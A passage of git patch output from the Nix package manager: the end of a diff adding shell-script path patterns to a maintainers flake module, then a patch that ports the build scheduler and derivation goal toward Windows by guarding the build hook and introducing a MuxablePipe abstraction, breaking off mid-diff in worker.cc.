+            ''^scripts/install-darwin-multi-user\.sh$''
+            ''^scripts/install-multi-user\.sh$''
+            ''^scripts/install-nix-from-closure\.sh$''
+            ''^scripts/install-systemd-multi-user\.sh$''
+            ''^src/nix/get-env\.sh$''
+            ''^tests/functional/add\.sh$''
+            ''^tests/functional/bash-profile\.sh$''
+            ''^tests/functional/binary-cache-build-remote\.sh$''
+            ''^tests/functional/binary-cache\.sh$''
+            ''^tests/functional/brotli\.sh$''
+            ''^tests/functional/build-delete\.sh$''
+            ''^tests/functional/build-dry\.sh$''
+            ''^tests/functional/build-remote-content-addressed-fixed\.sh$''
+            ''^tests/functional/build-remote-content-addressed-floating\.sh$''
+            ''^tests/functional/build-remote-input-addressed\.sh$''
+            ''^tests/functional/build-remote-trustless-after\.sh$''
+            ''^tests/functional/build-remote-trustless-should-fail-0\.sh$''
+            ''^tests/functional/build-remote-trustless-should-pass-0\.sh$''
+            ''^tests/functional/build-remote-trustless-should-pass-1\.sh$''
+            ''^tests/functional/build-remote-trustless-should-pass-2\.sh$''
+            ''^tests/functional/build-remote-trustless-should-pass-3\.sh$''
+            ''^tests/functional/build-remote-trustless\.sh$''
+            ''^tests/functional/build-remote-with-mounted-ssh-ng\.sh$''
+            ''^tests/functional/build-remote\.sh$''
+            ''^tests/functional/build\.sh$''
+            ''^tests/functional/ca/build-cache\.sh$''
+            ''^tests/functional/ca/build-dry\.sh$''
+            ''^tests/functional/ca/build-with-garbage-path\.sh$''
+            ''^tests/functional/ca/build\.sh$''
+            ''^tests/functional/ca/common\.sh$''
+            ''^tests/functional/ca/concurrent-builds\.sh$''
+            ''^tests/functional/ca/derivation-json\.sh$''
+            ''^tests/functional/ca/duplicate-realisation-in-closure\.sh$''
+            ''^tests/functional/ca/eval-store\.sh$''
+            ''^tests/functional/ca/gc\.sh$''
+            ''^tests/functional/ca/import-derivation\.sh$''
+            ''^tests/functional/ca/new-build-cmd\.sh$''
+            ''^tests/functional/ca/nix-copy\.sh$''
+            ''^tests/functional/ca/nix-run\.sh$''
+            ''^tests/functional/ca/nix-shell\.sh$''
+            ''^tests/functional/ca/post-hook\.sh$''
+            ''^tests/functional/ca/recursive\.sh$''
+            ''^tests/functional/ca/repl\.sh$''
+            ''^tests/functional/ca/selfref-gc\.sh$''
+            ''^tests/functional/ca/signatures\.sh$''
+            ''^tests/functional/ca/substitute\.sh$''
+            ''^tests/functional/ca/why-depends\.sh$''
+            ''^tests/functional/case-hack\.sh$''
+            ''^tests/functional/check-refs\.sh$''
+            ''^tests/functional/check-reqs\.sh$''
+            ''^tests/functional/check\.sh$''
+            ''^tests/functional/chroot-store\.sh$''
+            ''^tests/functional/common\.sh$''
+            ''^tests/functional/common/init\.sh$''
+            ''^tests/functional/completions\.sh$''
+            ''^tests/functional/compression-levels\.sh$''
+            ''^tests/functional/compute-levels\.sh$''
+            ''^tests/functional/config\.sh$''
+            ''^tests/functional/db-migration\.sh$''
+            ''^tests/functional/debugger\.sh$''
+            ''^tests/functional/dependencies\.builder0\.sh$''
+            ''^tests/functional/dependencies\.sh$''
+            ''^tests/functional/derivation-json\.sh$''
+            ''^tests/functional/dump-db\.sh$''
+            ''^tests/functional/dyn-drv/build-built-drv\.sh$''
+            ''^tests/functional/dyn-drv/common\.sh$''
+            ''^tests/functional/dyn-drv/dep-built-drv\.sh$''
+            ''^tests/functional/dyn-drv/eval-outputOf\.sh$''
+            ''^tests/functional/dyn-drv/old-daemon-error-hack\.sh$''
+            ''^tests/functional/dyn-drv/recursive-mod-json\.sh$''
+            ''^tests/functional/dyn-drv/text-hashed-output\.sh$''
+            ''^tests/functional/eval-store\.sh$''
+            ''^tests/functional/eval\.sh$''
+            ''^tests/functional/experimental-features\.sh$''
+            ''^tests/functional/export-graph\.sh$''
+            ''^tests/functional/export\.sh$''
+            ''^tests/functional/extra-sandbox-profile\.sh$''
+            ''^tests/functional/fetchClosure\.sh$''
+            ''^tests/functional/fetchGit\.sh$''
+            ''^tests/functional/fetchGitRefs\.sh$''
+            ''^tests/functional/fetchGitSubmodules\.sh$''
+            ''^tests/functional/fetchGitVerification\.sh$''
+            ''^tests/functional/fetchMercurial\.sh$''
+            ''^tests/functional/fetchPath\.sh$''
+            ''^tests/functional/fetchTree-file\.sh$''
+            ''^tests/functional/fetchurl\.sh$''
+            ''^tests/functional/filter-source\.sh$''
+            ''^tests/functional/fixed\.builder1\.sh$''
+            ''^tests/functional/fixed\.builder2\.sh$''
+            ''^tests/functional/fixed\.sh$''
+            ''^tests/functional/flakes/absolute-attr-paths\.sh$''
+            ''^tests/functional/flakes/absolute-paths\.sh$''
+            ''^tests/functional/flakes/build-paths\.sh$''
+            ''^tests/functional/flakes/bundle\.sh$''
+            ''^tests/functional/flakes/check\.sh$''
+            ''^tests/functional/flakes/circular\.sh$''
+            ''^tests/functional/flakes/common\.sh$''
+            ''^tests/functional/flakes/config\.sh$''
+            ''^tests/functional/flakes/develop\.sh$''
+            ''^tests/functional/flakes/flake-in-submodule\.sh$''
+            ''^tests/functional/flakes/flakes\.sh$''
+            ''^tests/functional/flakes/follow-paths\.sh$''
+            ''^tests/functional/flakes/init\.sh$''
+            ''^tests/functional/flakes/inputs\.sh$''
+            ''^tests/functional/flakes/mercurial\.sh$''
+            ''^tests/functional/flakes/prefetch\.sh$''
+            ''^tests/functional/flakes/run\.sh$''
+            ''^tests/functional/flakes/search-root\.sh$''
+            ''^tests/functional/flakes/show\.sh$''
+            ''^tests/functional/flakes/unlocked-override\.sh$''
+            ''^tests/functional/fmt\.sh$''
+            ''^tests/functional/fmt\.simple\.sh$''
+            ''^tests/functional/function-trace\.sh$''
+            ''^tests/functional/gc-auto\.sh$''
+            ''^tests/functional/gc-concurrent\.builder\.sh$''
+            ''^tests/functional/gc-concurrent\.sh$''
+            ''^tests/functional/gc-concurrent2\.builder\.sh$''
+            ''^tests/functional/gc-non-blocking\.sh$''
+            ''^tests/functional/gc-runtime\.sh$''
+            ''^tests/functional/gc\.sh$''
+            ''^tests/functional/git-hashing/common\.sh$''
+            ''^tests/functional/git-hashing/simple\.sh$''
+            ''^tests/functional/hash-convert\.sh$''
+            ''^tests/functional/hash-path\.sh$''
+            ''^tests/functional/help\.sh$''
+            ''^tests/functional/import-derivation\.sh$''
+            ''^tests/functional/impure-derivations\.sh$''
+            ''^tests/functional/impure-env\.sh$''
+            ''^tests/functional/impure-eval\.sh$''
+            ''^tests/functional/install-darwin\.sh$''
+            ''^tests/functional/lang-test-infra\.sh$''
+            ''^tests/functional/lang\.sh$''
+            ''^tests/functional/lang/framework\.sh$''
+            ''^tests/functional/legacy-ssh-store\.sh$''
+            ''^tests/functional/linux-sandbox\.sh$''
+            ''^tests/functional/local-overlay-store/add-lower-inner\.sh$''
+            ''^tests/functional/local-overlay-store/add-lower\.sh$''
+            ''^tests/functional/local-overlay-store/bad-uris\.sh$''
+            ''^tests/functional/local-overlay-store/build-inner\.sh$''
+            ''^tests/functional/local-overlay-store/build\.sh$''
+            ''^tests/functional/local-overlay-store/check-post-init-inner\.sh$''
+            ''^tests/functional/local-overlay-store/check-post-init\.sh$''
+            ''^tests/functional/local-overlay-store/common\.sh$''
+            ''^tests/functional/local-overlay-store/delete-duplicate-inner\.sh$''
+            ''^tests/functional/local-overlay-store/delete-duplicate\.sh$''
+            ''^tests/functional/local-overlay-store/delete-refs-inner\.sh$''
+            ''^tests/functional/local-overlay-store/delete-refs\.sh$''
+            ''^tests/functional/local-overlay-store/gc-inner\.sh$''
+            ''^tests/functional/local-overlay-store/gc\.sh$''
+            ''^tests/functional/local-overlay-store/optimise-inner\.sh$''
+            ''^tests/functional/local-overlay-store/optimise\.sh$''
+            ''^tests/functional/local-overlay-store/redundant-add-inner\.sh$''
+            ''^tests/functional/local-overlay-store/redundant-add\.sh$''
+            ''^tests/functional/local-overlay-store/remount\.sh$''
+            ''^tests/functional/local-overlay-store/stale-file-handle-inner\.sh$''
+            ''^tests/functional/local-overlay-store/stale-file-handle\.sh$''
+            ''^tests/functional/local-overlay-store/verify-inner\.sh$''
+            ''^tests/functional/local-overlay-store/verify\.sh$''
+            ''^tests/functional/logging\.sh$''
+            ''^tests/functional/misc\.sh$''
+            ''^tests/functional/multiple-outputs\.sh$''
+            ''^tests/functional/nar-access\.sh$''
+            ''^tests/functional/nested-sandboxing\.sh$''
+            ''^tests/functional/nested-sandboxing/command\.sh$''
+            ''^tests/functional/nix-build\.sh$''
+            ''^tests/functional/nix-channel\.sh$''
+            ''^tests/functional/nix-collect-garbage-d\.sh$''
+            ''^tests/functional/nix-copy-ssh-common\.sh$''
+            ''^tests/functional/nix-copy-ssh-ng\.sh$''
+            ''^tests/functional/nix-copy-ssh\.sh$''
+            ''^tests/functional/nix-daemon-untrusting\.sh$''
+            ''^tests/functional/nix-profile\.sh$''
+            ''^tests/functional/nix-shell\.sh$''
+            ''^tests/functional/nix_path\.sh$''
+            ''^tests/functional/optimise-store\.sh$''
+            ''^tests/functional/output-normalization\.sh$''
+            ''^tests/functional/parallel\.builder\.sh$''
+            ''^tests/functional/parallel\.sh$''
+            ''^tests/functional/pass-as-file\.sh$''
+            ''^tests/functional/path-from-hash-part\.sh$''
+            ''^tests/functional/path-info\.sh$''
+            ''^tests/functional/placeholders\.sh$''
+            ''^tests/functional/plugins\.sh$''
+            ''^tests/functional/post-hook\.sh$''
+            ''^tests/functional/pure-eval\.sh$''
+            ''^tests/functional/push-to-store-old\.sh$''
+            ''^tests/functional/push-to-store\.sh$''
+            ''^tests/functional/read-only-store\.sh$''
+            ''^tests/functional/readfile-context\.sh$''
+            ''^tests/functional/recursive\.sh$''
+            ''^tests/functional/referrers\.sh$''
+            ''^tests/functional/remote-store\.sh$''
+            ''^tests/functional/repair\.sh$''
+            ''^tests/functional/restricted\.sh$''
+            ''^tests/functional/search\.sh$''
+            ''^tests/functional/secure-drv-outputs\.sh$''
+            ''^tests/functional/selfref-gc\.sh$''
+            ''^tests/functional/shell\.sh$''
+            ''^tests/functional/shell\.shebang\.sh$''
+            ''^tests/functional/signing\.sh$''
+            ''^tests/functional/simple\.builder\.sh$''
+            ''^tests/functional/simple\.sh$''
+            ''^tests/functional/ssh-relay\.sh$''
+            ''^tests/functional/store-info\.sh$''
+            ''^tests/functional/structured-attrs\.sh$''
+            ''^tests/functional/substitute-with-invalid-ca\.sh$''
+            ''^tests/functional/suggestions\.sh$''
+            ''^tests/functional/supplementary-groups\.sh$''
+            ''^tests/functional/tarball\.sh$''
+            ''^tests/functional/test-infra\.sh$''
+            ''^tests/functional/test-libstoreconsumer\.sh$''
+            ''^tests/functional/timeout\.sh$''
+            ''^tests/functional/toString-path\.sh$''
+            ''^tests/functional/user-envs-migration\.sh$''
+            ''^tests/functional/user-envs-test-case\.sh$''
+            ''^tests/functional/user-envs\.builder\.sh$''
+            ''^tests/functional/user-envs\.sh$''
+            ''^tests/functional/why-depends\.sh$''
+            ''^tests/functional/zstd\.sh$''
+            ''^tests/unit/libutil/data/git/check-data\.sh$''
+          ];
+        };
+        # TODO: nixfmt, https://github.com/NixOS/nixfmt/issues/153
+      };
     };
-
   };
 
   # We'll be pulling from this in the main flake

From bcdee80a0d80071b05a9c1bc5e649e762dcd1ecc Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Mon, 27 May 2024 17:54:02 -0400
Subject: [PATCH 208/528] More work on the scheduler for windows

- Get a rump derivation goal: hook instance will come later, local
  derivation goal will come after that.

- Start cleaning up the channel / waiting code with an abstraction.
---
 maintainers/flake-module.nix                  |   4 +-
 .../{unix => }/build/derivation-goal.cc       |  77 ++++++---
 .../{unix => }/build/derivation-goal.hh       |  10 +-
 .../build/drv-output-substitution-goal.hh     |  11 +-
 src/libstore/build/substitution-goal.hh       |  11 +-
 src/libstore/build/worker.cc                  | 159 ++++--------------
 src/libstore/build/worker.hh                  |  23 +--
 src/libutil/muxable-pipe.hh                   |  82 +++++++++
 src/libutil/processes.hh                      |   4 -
 src/libutil/unix/muxable-pipe.cc              |  47 ++++++
 src/libutil/windows/muxable-pipe.cc           |  70 ++++++++
 src/libutil/windows/processes.cc              |  26 +--
 src/libutil/windows/windows-async-pipe.hh     |   7 +
 13 files changed, 329 insertions(+), 202 deletions(-)
 rename src/libstore/{unix => }/build/derivation-goal.cc (97%)
 rename src/libstore/{unix => }/build/derivation-goal.hh (97%)
 create mode 100644 src/libutil/muxable-pipe.hh
 create mode 100644 src/libutil/unix/muxable-pipe.cc
 create mode 100644 src/libutil/windows/muxable-pipe.cc

diff --git a/maintainers/flake-module.nix b/maintainers/flake-module.nix
index 1f19c673a17..e0d66cbd36c 100644
--- a/maintainers/flake-module.nix
+++ b/maintainers/flake-module.nix
@@ -223,8 +223,8 @@
             ''^src/libstore/store-api\.cc$''
             ''^src/libstore/store-api\.hh$''
             ''^src/libstore/store-dir-config\.hh$''
-            ''^src/libstore/unix/build/derivation-goal\.cc$''
-            ''^src/libstore/unix/build/derivation-goal\.hh$''
+            ''^src/libstore/build/derivation-goal\.cc$''
+            ''^src/libstore/build/derivation-goal\.hh$''
             ''^src/libstore/build/drv-output-substitution-goal\.cc$''
             ''^src/libstore/build/drv-output-substitution-goal\.hh$''
             ''^src/libstore/build/entry-points\.cc$''
diff --git a/src/libstore/unix/build/derivation-goal.cc b/src/libstore/build/derivation-goal.cc
similarity index 97%
rename from src/libstore/unix/build/derivation-goal.cc
rename to src/libstore/build/derivation-goal.cc
index 339f7273b3d..4226fb61aeb 100644
--- a/src/libstore/unix/build/derivation-goal.cc
+++ b/src/libstore/build/derivation-goal.cc
@@ -1,5 +1,8 @@
 #include "derivation-goal.hh"
-#include "hook-instance.hh"
+#ifndef _WIN32 // TODO enable build hook on Windows
+#  include "hook-instance.hh"
+#endif
+#include "processes.hh"
 #include "worker.hh"
 #include "builtins.hh"
 #include "builtins/buildenv.hh"
@@ -19,19 +22,8 @@
 
 #include <fstream>
 #include <sys/types.h>
-#include <sys/socket.h>
-#include <sys/un.h>
-#include <sys/wait.h>
-#include <netdb.h>
 #include <fcntl.h>
-#include <termios.h>
 #include <unistd.h>
-#include <sys/mman.h>
-#include <sys/utsname.h>
-#include <sys/resource.h>
-
-#include <pwd.h>
-#include <grp.h>
 
 #include <nlohmann/json.hpp>
 
@@ -101,7 +93,9 @@ std::string DerivationGoal::key()
 
 void DerivationGoal::killChild()
 {
+#ifndef _WIN32 // TODO enable build hook on Windows
     hook.reset();
+#endif
 }
 
 
@@ -641,9 +635,17 @@ void DerivationGoal::started()
         buildMode == bmCheck ? "checking outputs of '%s'" :
         "building '%s'", worker.store.printStorePath(drvPath));
     fmt("building '%s'", worker.store.printStorePath(drvPath));
+#ifndef _WIN32 // TODO enable build hook on Windows
     if (hook) msg += fmt(" on '%s'", machineName);
+#endif
     act = std::make_unique<Activity>(*logger, lvlInfo, actBuild, msg,
-        Logger::Fields{worker.store.printStorePath(drvPath), hook ? machineName : "", 1, 1});
+        Logger::Fields{worker.store.printStorePath(drvPath),
+#ifndef _WIN32 // TODO enable build hook on Windows
+        hook ? machineName :
+#endif
+            "",
+        1,
+        1});
     mcRunningBuilds = std::make_unique<MaintainCount<uint64_t>>(worker.runningBuilds);
     worker.updateProgress();
 }
@@ -778,7 +780,13 @@ static void movePath(const Path & src, const Path & dst)
 {
     auto st = lstat(src);
 
-    bool changePerm = (geteuid() && S_ISDIR(st.st_mode) && !(st.st_mode & S_IWUSR));
+    bool changePerm = (
+#ifndef _WIN32
+        geteuid()
+#else
+        !isRootUser()
+#endif
+        && S_ISDIR(st.st_mode) && !(st.st_mode & S_IWUSR));
 
     if (changePerm)
         chmod_(src, st.st_mode | S_IWUSR);
@@ -796,7 +804,7 @@ void replaceValidPath(const Path & storePath, const Path & tmpPath)
        tmpPath (the replacement), so we have to move it out of the
        way first.  We'd better not be interrupted here, because if
        we're repairing (say) Glibc, we end up with a broken system. */
-    Path oldPath = fmt("%1%.old-%2%-%3%", storePath, getpid(), random());
+    Path oldPath = fmt("%1%.old-%2%-%3%", storePath, getpid(), rand());
     if (pathExists(storePath))
         movePath(storePath, oldPath);
 
@@ -818,14 +826,20 @@ void replaceValidPath(const Path & storePath, const Path & tmpPath)
 
 int DerivationGoal::getChildStatus()
 {
+#ifndef _WIN32 // TODO enable build hook on Windows
     return hook->pid.kill();
+#else
+    return 0;
+#endif
 }
 
 
 void DerivationGoal::closeReadPipes()
 {
-    hook->builderOut.readSide = -1;
-    hook->fromHook.readSide = -1;
+#ifndef _WIN32 // TODO enable build hook on Windows
+    hook->builderOut.readSide.close();
+    hook->fromHook.readSide.close();
+#endif
 }
 
 
@@ -1019,13 +1033,16 @@ void DerivationGoal::buildDone()
 
         BuildResult::Status st = BuildResult::MiscFailure;
 
+#ifndef _WIN32
         if (hook && WIFEXITED(status) && WEXITSTATUS(status) == 101)
             st = BuildResult::TimedOut;
 
         else if (hook && (!WIFEXITED(status) || WEXITSTATUS(status) != 100)) {
         }
 
-        else {
+        else
+#endif
+        {
             assert(derivationType);
             st =
                 dynamic_cast<NotDeterministic*>(&e) ? BuildResult::NotDeterministic :
@@ -1112,6 +1129,9 @@ void DerivationGoal::resolvedFinished()
 
 HookReply DerivationGoal::tryBuildHook()
 {
+#ifdef _WIN32 // TODO enable build hook on Windows
+    return rpDecline;
+#else
     if (settings.buildHook.get().empty() || !worker.tryBuildHook || !useDerivation) return rpDecline;
 
     if (!worker.hook)
@@ -1205,17 +1225,18 @@ HookReply DerivationGoal::tryBuildHook()
     }
 
     hook->sink = FdSink();
-    hook->toHook.writeSide = -1;
+    hook->toHook.writeSide.close();
 
     /* Create the log file and pipe. */
     Path logFile = openLogFile();
 
-    std::set<int> fds;
+    std::set<MuxablePipePollState::CommChannel> fds;
     fds.insert(hook->fromHook.readSide.get());
     fds.insert(hook->builderOut.readSide.get());
     worker.childStarted(shared_from_this(), fds, false, false);
 
     return rpAccept;
+#endif
 }
 
 
@@ -1251,7 +1272,11 @@ Path DerivationGoal::openLogFile()
     Path logFileName = fmt("%s/%s%s", dir, baseName.substr(2),
         settings.compressLog ? ".bz2" : "");
 
-    fdLogFile = open(logFileName.c_str(), O_CREAT | O_WRONLY | O_TRUNC | O_CLOEXEC, 0666);
+    fdLogFile = toDescriptor(open(logFileName.c_str(), O_CREAT | O_WRONLY | O_TRUNC
+#ifndef _WIN32
+        | O_CLOEXEC
+#endif
+        , 0666));
     if (!fdLogFile) throw SysError("creating log file '%1%'", logFileName);
 
     logFileSink = std::make_shared<FdSink>(fdLogFile.get());
@@ -1271,13 +1296,17 @@ void DerivationGoal::closeLogFile()
     if (logSink2) logSink2->finish();
     if (logFileSink) logFileSink->flush();
     logSink = logFileSink = 0;
-    fdLogFile = -1;
+    fdLogFile.close();
 }
 
 
-bool DerivationGoal::isReadDesc(int fd)
+bool DerivationGoal::isReadDesc(Descriptor fd)
 {
+#ifdef _WIN32 // TODO enable build hook on Windows
+    return false;
+#else
     return fd == hook->builderOut.readSide.get();
+#endif
 }
 
 void DerivationGoal::handleChildOutput(Descriptor fd, std::string_view data)
@@ -1310,6 +1339,7 @@ void DerivationGoal::handleChildOutput(Descriptor fd, std::string_view data)
         if (logSink) (*logSink)(data);
     }
 
+#ifndef _WIN32 // TODO enable build hook on Windows
     if (hook && fd == hook->fromHook.readSide.get()) {
         for (auto c : data)
             if (c == '\n') {
@@ -1344,6 +1374,7 @@ void DerivationGoal::handleChildOutput(Descriptor fd, std::string_view data)
             } else
                 currentHookLine += c;
     }
+#endif
 }
 
 
diff --git a/src/libstore/unix/build/derivation-goal.hh b/src/libstore/build/derivation-goal.hh
similarity index 97%
rename from src/libstore/unix/build/derivation-goal.hh
rename to src/libstore/build/derivation-goal.hh
index be6eb50c418..04f13aedd17 100644
--- a/src/libstore/unix/build/derivation-goal.hh
+++ b/src/libstore/build/derivation-goal.hh
@@ -2,7 +2,9 @@
 ///@file
 
 #include "parsed-derivations.hh"
-#include "user-lock.hh"
+#ifndef _WIN32
+#  include "user-lock.hh"
+#endif
 #include "outputs-spec.hh"
 #include "store-api.hh"
 #include "pathlocks.hh"
@@ -12,7 +14,9 @@ namespace nix {
 
 using std::map;
 
+#ifndef _WIN32 // TODO enable build hook on Windows
 struct HookInstance;
+#endif
 
 typedef enum {rpAccept, rpDecline, rpPostpone} HookReply;
 
@@ -178,10 +182,12 @@ struct DerivationGoal : public Goal
 
     std::string currentHookLine;
 
+#ifndef _WIN32 // TODO enable build hook on Windows
     /**
      * The build hook.
      */
     std::unique_ptr<HookInstance> hook;
+#endif
 
     /**
      * The sort of derivation we are building.
@@ -287,7 +293,7 @@ struct DerivationGoal : public Goal
     virtual void cleanupPostOutputsRegisteredModeCheck();
     virtual void cleanupPostOutputsRegisteredModeNonCheck();
 
-    virtual bool isReadDesc(int fd);
+    virtual bool isReadDesc(Descriptor fd);
 
     /**
      * Callback used by the worker to write to the log.
diff --git a/src/libstore/build/drv-output-substitution-goal.hh b/src/libstore/build/drv-output-substitution-goal.hh
index 4f06a9e9e47..6967ca84ff8 100644
--- a/src/libstore/build/drv-output-substitution-goal.hh
+++ b/src/libstore/build/drv-output-substitution-goal.hh
@@ -7,10 +7,7 @@
 #include "store-api.hh"
 #include "goal.hh"
 #include "realisation.hh"
-
-#ifdef _WIN32
-#  include "windows-async-pipe.hh"
-#endif
+#include "muxable-pipe.hh"
 
 namespace nix {
 
@@ -48,11 +45,7 @@ class DrvOutputSubstitutionGoal : public Goal {
 
     struct DownloadState
     {
-#ifndef _WIN32
-        Pipe outPipe;
-#else
-        windows::AsyncPipe outPipe;
-#endif
+        MuxablePipe outPipe;
         std::promise<std::shared_ptr<const Realisation>> promise;
     };
 
diff --git a/src/libstore/build/substitution-goal.hh b/src/libstore/build/substitution-goal.hh
index 58d3094248c..1a051fc1fd5 100644
--- a/src/libstore/build/substitution-goal.hh
+++ b/src/libstore/build/substitution-goal.hh
@@ -3,10 +3,7 @@
 
 #include "store-api.hh"
 #include "goal.hh"
-
-#ifdef _WIN32
-#  include "windows-async-pipe.hh"
-#endif
+#include "muxable-pipe.hh"
 
 namespace nix {
 
@@ -48,11 +45,7 @@ struct PathSubstitutionGoal : public Goal
     /**
      * Pipe for the substituter's standard output.
      */
-#ifndef _WIN32
-    Pipe outPipe;
-#else
-    windows::AsyncPipe outPipe;
-#endif
+    MuxablePipe outPipe;
 
     /**
      * The substituter thread.
diff --git a/src/libstore/build/worker.cc b/src/libstore/build/worker.cc
index ac6f693a212..e6ed80346d3 100644
--- a/src/libstore/build/worker.cc
+++ b/src/libstore/build/worker.cc
@@ -3,19 +3,13 @@
 #include "worker.hh"
 #include "substitution-goal.hh"
 #include "drv-output-substitution-goal.hh"
+#include "derivation-goal.hh"
 #ifndef _WIN32 // TODO Enable building on Windows
 #  include "local-derivation-goal.hh"
 #  include "hook-instance.hh"
 #endif
 #include "signals.hh"
 
-#ifndef _WIN32
-#  include <poll.h>
-#else
-#  include <ioapiset.h>
-#  include "windows-error.hh"
-#endif
-
 namespace nix {
 
 Worker::Worker(Store & store, Store & evalStore)
@@ -49,7 +43,6 @@ Worker::~Worker()
     assert(expectedNarSize == 0);
 }
 
-#ifndef _WIN32 // TODO Enable building on Windows
 
 std::shared_ptr<DerivationGoal> Worker::makeDerivationGoalCommon(
     const StorePath & drvPath,
@@ -73,9 +66,13 @@ std::shared_ptr<DerivationGoal> Worker::makeDerivationGoal(const StorePath & drv
     const OutputsSpec & wantedOutputs, BuildMode buildMode)
 {
     return makeDerivationGoalCommon(drvPath, wantedOutputs, [&]() -> std::shared_ptr<DerivationGoal> {
-        return !dynamic_cast<LocalStore *>(&store)
-            ? std::make_shared</* */DerivationGoal>(drvPath, wantedOutputs, *this, buildMode)
-            : std::make_shared<LocalDerivationGoal>(drvPath, wantedOutputs, *this, buildMode);
+        return
+#ifndef _WIN32 // TODO Enable building on Windows
+            dynamic_cast<LocalStore *>(&store)
+            ? std::make_shared<LocalDerivationGoal>(drvPath, wantedOutputs, *this, buildMode)
+            :
+#endif
+            std::make_shared</* */DerivationGoal>(drvPath, wantedOutputs, *this, buildMode);
     });
 }
 
@@ -83,14 +80,16 @@ std::shared_ptr<DerivationGoal> Worker::makeBasicDerivationGoal(const StorePath
     const BasicDerivation & drv, const OutputsSpec & wantedOutputs, BuildMode buildMode)
 {
     return makeDerivationGoalCommon(drvPath, wantedOutputs, [&]() -> std::shared_ptr<DerivationGoal> {
-        return !dynamic_cast<LocalStore *>(&store)
-            ? std::make_shared</* */DerivationGoal>(drvPath, drv, wantedOutputs, *this, buildMode)
-            : std::make_shared<LocalDerivationGoal>(drvPath, drv, wantedOutputs, *this, buildMode);
+        return
+#ifndef _WIN32 // TODO Enable building on Windows
+            dynamic_cast<LocalStore *>(&store)
+            ? std::make_shared<LocalDerivationGoal>(drvPath, drv, wantedOutputs, *this, buildMode)
+            :
+#endif
+            std::make_shared</* */DerivationGoal>(drvPath, drv, wantedOutputs, *this, buildMode);
     });
 }
 
-#endif
-
 
 std::shared_ptr<PathSubstitutionGoal> Worker::makePathSubstitutionGoal(const StorePath & path, RepairFlag repair, std::optional<ContentAddress> ca)
 {
@@ -122,14 +121,10 @@ GoalPtr Worker::makeGoal(const DerivedPath & req, BuildMode buildMode)
 {
     return std::visit(overloaded {
         [&](const DerivedPath::Built & bfd) -> GoalPtr {
-#ifndef _WIN32 // TODO Enable building on Windows
             if (auto bop = std::get_if<DerivedPath::Opaque>(&*bfd.drvPath))
                 return makeDerivationGoal(bop->path, bfd.outputs, buildMode);
             else
                 throw UnimplementedError("Building dynamic derivations in one shot is not yet implemented.");
-#else
-            throw UnimplementedError("Building derivations not yet implemented on Windows");
-#endif
         },
         [&](const DerivedPath::Opaque & bo) -> GoalPtr {
             return makePathSubstitutionGoal(bo.path, buildMode == bmRepair ? Repair : NoRepair);
@@ -155,11 +150,9 @@ static void removeGoal(std::shared_ptr<G> goal, std::map<K, std::weak_ptr<G>> &
 
 void Worker::removeGoal(GoalPtr goal)
 {
-#ifndef _WIN32 // TODO Enable building on Windows
     if (auto drvGoal = std::dynamic_pointer_cast<DerivationGoal>(goal))
         nix::removeGoal(drvGoal, derivationGoals);
     else
-#endif
     if (auto subGoal = std::dynamic_pointer_cast<PathSubstitutionGoal>(goal))
         nix::removeGoal(subGoal, substitutionGoals);
     else if (auto subGoal = std::dynamic_pointer_cast<DrvOutputSubstitutionGoal>(goal))
@@ -204,7 +197,7 @@ unsigned Worker::getNrSubstitutions()
 }
 
 
-void Worker::childStarted(GoalPtr goal, const std::set<Child::CommChannel> & channels,
+void Worker::childStarted(GoalPtr goal, const std::set<MuxablePipePollState::CommChannel> & channels,
     bool inBuildSlot, bool respectTimeouts)
 {
     Child child;
@@ -298,14 +291,12 @@ void Worker::run(const Goals & _topGoals)
 
     for (auto & i : _topGoals) {
         topGoals.insert(i);
-#ifndef _WIN32 // TODO Enable building on Windows
         if (auto goal = dynamic_cast<DerivationGoal *>(i.get())) {
             topPaths.push_back(DerivedPath::Built {
                 .drvPath = makeConstantStorePathRef(goal->drvPath),
                 .outputs = goal->wantedOutputs,
             });
         } else
-#endif
         if (auto goal = dynamic_cast<PathSubstitutionGoal *>(i.get())) {
             topPaths.push_back(DerivedPath::Opaque{goal->storePath});
         }
@@ -428,46 +419,25 @@ void Worker::waitForInput()
     if (useTimeout)
         vomit("sleeping %d seconds", timeout);
 
+    MuxablePipePollState state;
+
 #ifndef _WIN32
     /* Use select() to wait for the input side of any logger pipe to
        become `available'.  Note that `available' (i.e., non-blocking)
        includes EOF. */
-    std::vector<struct pollfd> pollStatus;
-    std::map<int, size_t> fdToPollStatus;
     for (auto & i : children) {
         for (auto & j : i.channels) {
-            pollStatus.push_back((struct pollfd) { .fd = j, .events = POLLIN });
-            fdToPollStatus[j] = pollStatus.size() - 1;
+            state.pollStatus.push_back((struct pollfd) { .fd = j, .events = POLLIN });
+            state.fdToPollStatus[j] = state.pollStatus.size() - 1;
         }
     }
+#endif
 
-    if (poll(pollStatus.data(), pollStatus.size(),
-            useTimeout ? timeout * 1000 : -1) == -1) {
-        if (errno == EINTR) return;
-        throw SysError("waiting for input");
-    }
-#else
-    OVERLAPPED_ENTRY oentries[0x20] = {0};
-    ULONG removed;
-    bool gotEOF = false;
-
-    // we are on at least Windows Vista / Server 2008 and can get many (countof(oentries)) statuses in one API call
-    if (!GetQueuedCompletionStatusEx(
+    state.poll(
+#ifdef _WIN32
         ioport.get(),
-        oentries,
-        sizeof(oentries) / sizeof(*oentries),
-        &removed,
-        useTimeout ? timeout * 1000 : INFINITE,
-        false))
-    {
-        windows::WinError winError("GetQueuedCompletionStatusEx");
-        if (winError.lastError != WAIT_TIMEOUT)
-            throw winError;
-        assert(removed == 0);
-    } else {
-        assert(0 < removed && removed <= sizeof(oentries)/sizeof(*oentries));
-    }
 #endif
+        useTimeout ? (std::optional { timeout * 1000 }) : std::nullopt);
 
     auto after = steady_time_point::clock::now();
 
@@ -482,75 +452,18 @@ void Worker::waitForInput()
         GoalPtr goal = j->goal.lock();
         assert(goal);
 
-#ifndef _WIN32
-        std::set<Descriptor> fds2(j->channels);
-        std::vector<unsigned char> buffer(4096);
-        for (auto & k : fds2) {
-            const auto fdPollStatusId = get(fdToPollStatus, k);
-            assert(fdPollStatusId);
-            assert(*fdPollStatusId < pollStatus.size());
-            if (pollStatus.at(*fdPollStatusId).revents) {
-                ssize_t rd = ::read(fromDescriptorReadOnly(k), buffer.data(), buffer.size());
-                // FIXME: is there a cleaner way to handle pt close
-                // than EIO? Is this even standard?
-                if (rd == 0 || (rd == -1 && errno == EIO)) {
-                    debug("%1%: got EOF", goal->getName());
-                    goal->handleEOF(k);
-                    j->channels.erase(k);
-                } else if (rd == -1) {
